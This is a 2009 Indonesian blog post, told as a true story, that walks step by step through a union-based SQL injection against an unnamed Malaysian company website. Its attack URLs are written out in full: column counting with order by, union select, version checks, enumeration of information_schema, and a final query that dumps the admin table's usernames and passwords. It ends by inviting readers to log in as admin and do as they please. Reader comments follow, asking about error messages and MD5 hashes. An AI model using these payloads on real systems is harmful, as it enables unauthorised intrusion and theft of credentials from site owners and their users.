Step by Step Sql Injection

14 September 2009

Sql Injection merupakan salah satu tehnik hacking yang cukup banyak digunakan dimana tehnik ini memanfaatkan kesalahan pada penulisan bahasa program sehingga seorang hacker bisa mendapatkan sebuah user name dan juga password untuk bisa masuk ke dalam sistem.

Disini saya akan gambarkan dalam sebuah kisah nyata :-)
Saya mencoba googling (istilah untuk melakukan pencarian di google) dan mencari-cari webuah situs..
Akhirnya saya menemukan sebuah website outsourcing milik malaysia yang cukup menarik perhatian saya...

Domainnya sengaja tidak akan saya sebutkan :-)
Ok iseng membuka-buka halaman yang ada dan saya buka halaman news rilis disana terdapat beberapa berita dan saya coba lihat beritanya..
Dasar otak lagi iseng akhirnya saya iseng melakukan pencarian kutu...

Awalnya pada addressbar mozilla saya menunjukan alamat seperti berikut ini :

http://xxxx.com.my/readmore.php?ID=2

dan semuanya masih normal seperti tampil pada gambar dibawah ini :


Apa yang harus saya lakukan dengan alamat tersebut..??
Berdasarkan apa yang telah saya dapat dan saya baca dari berbagai sumber untuk mencari "kutunya" bisa menggunakan karakter khusus seperti ' dan -

Ok kita coba masukan karakter tersebut pada addressbar browser contohnya seperti berikut ini :

http://xxxx.com.my/readmore.php?ID=2'

aw..aw..aw.. (kenapa mas...?? sakit..??)
heheh gag kok.. ternyata apa yang saya dapat dengan menambahkan tanda ' pada alamat tersebut?
ditemukan sebuah eror seperti gambar dibawah ini :


lalu bagaimana jika saya menggunakan yang berikutnya yaitu tanda - seperti dibawah ini :

http://xxxx.com.my/readmore.php?ID=-2

erornya ilang tapi kok isi beritanya gag muncul yach...?? contohnya seperti digambar dibawah ini :


nah itu berarti situs tersebut terdapat vulnerable yang memungkinkan kita melakukan serangan Sql Injection..

Kalo udah tau ada kutunya terus apa yang harus kita lakukan..??
Ok langkah berikutnya adalah mencari dan menghitung jumlah table yang ada didalam databasenya dengan menggunakan perintah "+order+by+" tanpa tanda kutip..
jadi nanti yang harus diketikan diaddress barnya adalah seperti berikut ini :

http://xxxx.com.my/readmore.php?ID=-2+order+by+1--

hmmm ternyata masih kosong dan tidak tampil apa-apa...
lalu saya harus bagaimana..??
dalam sebuah website tidak mungkin hanya terdapat 1buah table dan kolom bukan..??
Ok kalo gitu kita rubah angka 1 menjadi 2.. seperti dibawah ini :

http://xxxx.com.my/readmore.php?ID=-2+order+by+2--

apa yang terjadi..??
masih juga kosong...
coba sekarang ganti jadi 3 jadi nantinya menjadi :

http://xxxx.com.my/readmore.php?ID=-2+order+by+3--

kosong lagi... ganti deh jadi 4 :

http://xxxx.com.my/readmore.php?ID=-2+order+by+4--

haduh kosong juga... ganti lagi jadi 5 :

http://xxxx.com.my/readmore.php?ID=-2+order+by+5--

lagi-lagi kosong... mas sebenernya bisa ga siy..?? kok dari tadi kosong terus ga ada apa-apanya..??!!!
Sabar ya.. hacking itu butuh kesabaran dan ketelatenan.. tidak semudah membalikan telapak tangan..
Jadi kalo anda memang tidak bisa sabar saya anjurkan ga usah belajar.. hehehe
Terus saya harus gimana..?? ya coba lagi atuh tadi kan baru 5.. jadi..?? jadi ya coba ganti jadi 6 :

http://xxxx.com.my/readmore.php?ID=-2+order+by+6--

aha.... ternyata muncul sebuah eror lagi seperti gambar dibawah ini :


nah kesabaran pasti berbuah sesuatu yang baik bukan.. akhirnya ketemu juga bahwa terdapat 5 kolom diwebsite tersebut..
Kalo udah ketemu gimana selanjutnya..?? gunakan perintah "+union+select+" tanpa tanda kutip...
fungsinya adalah untuk menampilan informasi..
Karena tadi eror pada saat angka ke 6 jadi nanti urlnya seperti berikut ini :

http://xxxx.com.my/readmore.php?ID=-2+union+select+1,2,3,4,5--

nah nanti akan muncul seperti gambar berikut :


pada gambar tersebut muncul angka 5 seperti yang dilingkari dengan warna merah..
ok selanjutnya adalah mencari versi sql yang digunakan..
kalo pake versi 4 kelaut ajah.. hehehe maksudnya sudahi sajah mending cari target lain..
Lho kenapa emangnya mas..??
Karena di versi4 kita harus menebak sendiri table dan column yang ada pada web tersebut karena tidak bisa menggunakan perintah from+information_schema jadi lebih susah kan.. :-)

Perintah yang dipergunakan adalah : version() atau @@version
jadi nantinya urlnya akan seperti berikut ini :

http://xxxx.com.my/readmore.php?ID=-2+union+select+1,2,3,4,version()--

syukurlah ternyata saya mendapatkan website yang menggunakan Sql versi 5 seperti terlihat pada gambar dibawah ini :


Ok selanjutnya kita lihat semua isi dari tablenya..
Untuk melihatnya gunakan perintah "group_concat(table_name)" tanpa kutip.. nah ini dimasukan pada angka yang sebelumnya keluar tadi yaitu angka 5. dan juga perintah "+from+information_schema.tables+where+table_schema=database()--" tanpa kutip.. nah yang ini dimasukan di angka paling terakhir.. karena angka 5 merupakan angka terakhir jadi nanti urlnya seperti berikut ini :

http://xxxx.com.my/readmore.php?ID=-2+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--

wew dapat juga isi tablenya..


Ok sekarang langkah selanjutnya adalah mencari table/kolom yang memiliki informasi admin/user yang didalamnya tentunya terdapat username dan password..
dari gambar diatas tadi saya liat terdapat table dengan nama 'admin' ok kita bongkar isinya..
Kita gunakan perintah "group_concat(column_name)" tanpa tanda kutip yang nantinya dimasukan pada angka yang keluar tadi yaitu angka 5... dan juga perintah "+from+information_schema.columns+where+table_name=0xhexa--" tanpa kutip.. dimasukan setelah angka paling terakhir.. nah disini kita harus mengconvert kata pada isi table menjadi hexdecimal.

Nyarinya dimana om..?? ya pake google lah.. :-)
atau anda bisa mengunjungi website ini http://tools.vyc0d.com/converter/ atau di http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html
yang kita ingin gunakan tadi adalah admin maka akan menjadi 61646d696e setelah diconvert..
Jadi nanti di urlnya berntuknya seperti ini:

http://xxxx.com.my/readmore.php?ID=-2+union+select+1,2,3,4,group_concat(column_name)+from+information_schema.columns+where+table_name=0x61646d696e--

lalu akan tampil seperti pada gambar dibawah ini :


wew.. banyak sekali yang kita dapat bukan..
huaaahhmmm... ngantuk juga euy.. minum kopi dulu ah...

.....
..............
.........................

Ok lanjut.. langkah selanjutnya adalah memunculkan apa yang telah dikeluarkan dari table yang kita dapat barusan...
gunakan perintah "group_concat(0x3a,isi column yg mau dikeluarin)" tanpa kutip.. yang dimasukin di angka yang keluar tadi yaitu angka 5.. (wah kayanya angka 5 jadi angka keramat ^_^ )
dan juga perintah +from+(nama table berasal) yang dimasukan setelah angka terakhir..
0x3a itu sama saja dengan tanda ":"

dari gambar diatas terdapat beberapa info dari table admin.. nah yang saya gunakan hanya 3 saja yaitu username,password, dan juga Name karena saya yakin inilah yang nantinya bakal digunakan untuk login..
ok jadi nanti bentuk di urlnya adalah sepeti berikut ini :

http://xxxx.com.my/readmore.php?ID=-2+union+select+1,2,3,4,group_concat(username,0x3a,password,0x3a,Name)+from+admin--

dan taraa........ hasilnya seperti muncul pada gambar dibawah ini :


olala... user dan password adminnya berhasil kita dapatkan...

terakhir and tinggal mencari halaman login Adminnya.. Login sebagai Admin kemudian selanjutnya terserah anda :-)
Ok semoga berguna untuk anda.. selamat belajar... sorry kalo artikelnya cupu.. saya juga masih belajar... :-) Step by Step Sql InjectionSocialTwist Tell-a-Friend

5 comments:

pay_doank said... Reply

ok bozzzz.....
lumayan buat yan pemula.....
seeeppp....
hancurkan maling sia......

Jiro Kobayashi said... Reply

kalo pesan error ga nongol, berarti ga bisa di SQL inject ya pak?

GnouBdilS said... Reply

@jiro : ga selamanya ga nongol error itu ga bisa diinject.. karena masih ada jalan lain menuju roma :)

bayu said... Reply

KLo passwordnya di md5 gmn tu??

GnouBdilS said... Reply

@bayu:

MD5 itu sifatnya one way hash yang mana secara simpel dapat diartikan tidak bisa didehash (setidaknya sampai saat ini).
pada contoh kasus yang saya jelaskan, saya hanya menjelaskan tahapan prosesnya.
seandainya pada situs tersebut sudah bisa dipastikan dapat dilakukan sqlinjection, artinya kita bisa mengeksplorenya menggunakan statement sql yang lainnya.. :)

Post a Comment

Artikel Lain

 
 
 

Go To Link

  »  A1VBCode
  »  Bina Sarana Informatika
  »  Blogger
  »  Deconstruction Code
  »  Diskusiweb
  »  dremi.info
  »  Echo
  »  Facebook
  »  Gary Abraham
  »  Ilmu Website
  »  JQuery
  »  Mahesajenar Widget
  »  STMIK Nusa Mandiri
  »  OOM Blog
  »  Planet Source Code
  »  Rahma Blog
  »  Terren Jr
  »  VB-Bego
  »  Herry Blog

Advertisement